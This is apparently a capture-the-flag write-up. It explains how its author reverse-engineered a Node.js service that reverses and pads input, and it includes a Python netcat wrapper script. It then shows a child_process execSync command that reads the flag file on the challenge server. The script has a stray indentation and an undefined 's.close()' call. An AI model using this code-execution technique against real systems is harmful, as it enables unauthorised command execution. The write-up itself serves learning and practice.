Problem

This is some kind of weird thing. I am sh-ocked.

Service: 188.166.133.53:12589

Solved by 105 teams

Solution

We nc to the service and are presented with a prompt:

Welcome and have fun!
$

Let’s try something basic:

Welcome and have fun!
$help
[ReferenceError: lh is not defined]
$

Right off the bat, that tells us a few things, the ReferenceError tells us that this is JavaScript (nodejs). The lh part is a little more confusing, let’s try something else:

$this
[ReferenceError: it is not defined]
$

Ok, so for help we got lh and for this we got it, seems like 3rd and 1st character, should we pad our commands?

$t.h.i.s.
[ReferenceError: siht is not defined]
$

Yes, that seems to almost work, however it seems that the command is not only padded, but also reversed, how about:

$s.i.h.t.
Interface {
  _sawReturn: false,
  domain: null,
...snip...
  _decoder: 
   { encoding: 'utf8',
     surrogateSize: 3,
     charBuffer: <Buffer 65 6e 74 73 20 3d>,
     charReceived: 0,
     charLength: 0 },
  _line_buffer: '' }
$

There we go! So now we know what to do (or so we think), let’s get this party started.

$e.r.i.u.q.e.r.
[SyntaxError: Unexpected token .]
$

But… but… we were so sure that we figured it out! Needs more testing I guess.

$1.2.3.4.5.
54321
$1.2.3.4.5.6.
[SyntaxError: Unexpected number]
$1..2..3..4..5..6..
654321
$1...2...3...4...5...6...7...
7654321
$

So, 1 dot padding for strings shorter than 6 and 2 dots for 7 and so on… To the python-cave!

After some trial and error, this is what we end up with:

import socket
from sys import stdin, stdout

# source: https://gist.github.com/leonjza/f35a7252babdf77c8421
class Netcat:
    def __init__(self, ip, port):
        self.buff = ""
        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.connect((ip, port))

    def read(self, length = 1024):
        return self.socket.recv(length)

    def read_until(self, data):
        while not data in self.buff:
            self.buff += self.socket.recv(1024)

		pos = self.buff.find(data)
        rval = self.buff[:pos + len(data)]
        self.buff = self.buff[pos + len(data):]
        return rval

    def write(self, data):
        self.socket.send(data)

    def close(self):
        self.socket.close()

nc = Netcat('188.166.133.53', 12589)
while 1:
    print nc.read_until('$'),

    inp = stdin.readline().replace('\n', '')
    dots = min(max(1, len(inp)-4), 5) * '.'
    nc.write(dots.join(i for i in inp)[::-1] + dots + '\n')

s.close()

With that script, we have automatic padding and reversing, so we can execute commands easily:

Welcome and have fun!
$require('child_process').execSync('cat flag.txt').toString('ascii')
 IW{Shocked-for-nothing!}
$

Flag: IW{Shocked-for-nothing!}

Sidenote: On our way out we also managed to snatch the source of the server task and I think it’s interesting to see the exact impementation of the padding, to confirm that our python code was valid:

    if(line.length <= 10) {
        line = line.replace(/.(.)?/g, '$1');
    } else if(line.length <= 20) {
        line = line.replace(/..(.)?/g, '$1');
    } else if(line.length <= 30) {
        line = line.replace(/...(.)?/g, '$1');
    } else if(line.length <= 40) {
        line = line.replace(/....(.)?/g, '$1');
    } else {
        line = line.replace(/.....(.)?/g, '$1');
    }